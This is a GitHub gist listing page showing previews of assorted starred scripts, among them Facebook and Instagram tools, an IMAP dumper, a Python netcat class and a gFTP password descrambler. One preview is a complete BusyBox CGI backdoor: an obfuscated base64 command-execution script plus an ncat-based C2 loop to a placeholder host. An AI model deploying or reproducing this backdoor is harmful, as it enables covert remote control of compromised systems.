Skip to content

Instantly share code, notes, and snippets.

View its0x08's full-sized avatar
☣️

0x08 its0x08

☣️
View GitHub Profile
@playpauseandstop
playpauseandstop / fb-friends-diff.py
Created February 7, 2012 01:24
Script to check who of your Facebook friends were removed from FB or unfriend you.
#!/usr/bin/env python
#
# Script to check who of your Facebook friends were removed from FB or unfriend
# you.
#
# Requirements
# ============
#
# * Linux / Mac OS X / other Unix
# * `Python <http://www.python.org/>`_ 2.6 or 2.7
@rochacbruno
rochacbruno / fb.py
Last active May 3, 2016 06:47
fb client
#!/usr/bin/python
# coding: utf-8
##############################################################################
# DRAFT 0.3
#
# REQUIREMENTS
# $ pip install fbconsole
#
# USAGE
@robulouski
robulouski / gmail_imap_dump_eml.py
Last active April 10, 2024 12:58
Very simple Python script to dump all emails in an IMAP folder to files.
#!/usr/bin/env python
#
# Very simple Python script to dump all emails in an IMAP folder to files.
# This code is released into the public domain.
#
# RKI Nov 2013
#
import sys
import imaplib
import getpass
__author__ = 'Jaken'
import urllib
import webbrowser
from xml.etree.ElementTree import parse
lat = 41.980262
lon = -87.668452
u = urllib.urlopen('http://ctabustracker.com/bustime/map/getBusesForRoute.jsp?route=22')
@themson
themson / BUSYBOX_CGI_BACKDOOR
Last active July 19, 2017 11:40
CGI Based Backdoor using Busybox httpd applet:
CGI BASED BACKDOOR WITH BUSYBOX:
----------------------------------
mkdir -p /tmp/s/cgi-bin;(base64 -d <<<IyEvYmluL2Jhc2gKaWYgWyAiJFJFUVVFU1RfTUVUSE9EIiA9PSAiSEVBRCIgXSAmJiBbICIkSFRUUF9VU0VSX0FHRU5UIiA9PSAibm9wZSIgXTsgdGhlbgogICAgQz0kKGJhc2U2NCAtZCA8PDwgJFFVRVJZX1NUUklORykKICAgIGlmIFsgIiRDIiA9PSAiZXhpdCIgXTsgdGhlbgogICAgICAgIGVjaG8gIkNsZWFuIgogICAgICAgIHJtIC4vcAogICAgICAgIGtpbGwgJChwZ3JlcCBidXN5Ym94KQogICAgIGZpCiAgICAgZWNobyAkKGJhc2ggLWMgIiRDIikKZmkK)>/tmp/s/cgi-bin/p;chmod +x /tmp/s/cgi-bin/p; busybox httpd -f -p <LPORT> -h /tmp/s/; rm -rf /tmp/s/
C2:
---------------------
COMMAND=''; while [ "$COMMAND" != "exit" ]; do read -p "$ " COMMAND; echo -e "HEAD /cgi-bin/p?$(base64<<<$COMMAND) HTTP/1.0\nHost: \nUser-Agent: nope\n\n" | ncat <LHOST> <LPORT>; done
@leonjza
leonjza / netcat.py
Last active September 19, 2024 23:56
Python Netcat
import socket
class Netcat:
""" Python 'netcat like' module """
def __init__(self, ip, port):
self.buff = ""
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@pce
pce / gftp_srabble.py
Last active May 10, 2017 10:16
gftp desramble password
#!/usr/bin/python2.7
import sys
def gftp_descrable_password(password):
"""gftp password descrambler
This code has been released in the Public Domain by the original author.
"""
@rohit-dua
rohit-dua / my_socket.py
Last active April 17, 2016 17:37
Server and Client (Socket)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import sys
import threading
HOST = socket.gethostname()
PORT = 6000
@kanazux
kanazux / get_insta_info.py
Last active May 3, 2016 11:09
Get instagram info - followers, followed.
#!/usr/local/bin/python2.7
# -*- coding: utf-8 -*-
#
# Autor: Silvio Giunge Silva a.k.a Kanazuchi
# <[email protected]>
#
# URL para gerar o token http://www.pinceladasdaweb.com.br/instagram/access-token/
# Crie um arquivo com o token e user id separados por ; (ponto e virgula)
# EX: echo '198754745546.5bdsa1e6.70b4234e28749efs80521a4c21314a2sd9b;suasenha' >> instadata
#
@joepie91
joepie91 / vpn.md
Last active November 18, 2024 12:41
Don't use VPN services.

Don't use VPN services.

No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.

Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.

  • A Russian translation of this article can be found here, contributed by Timur Demin.
  • A Turkish translation can be found here, contributed by agyild.
  • There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.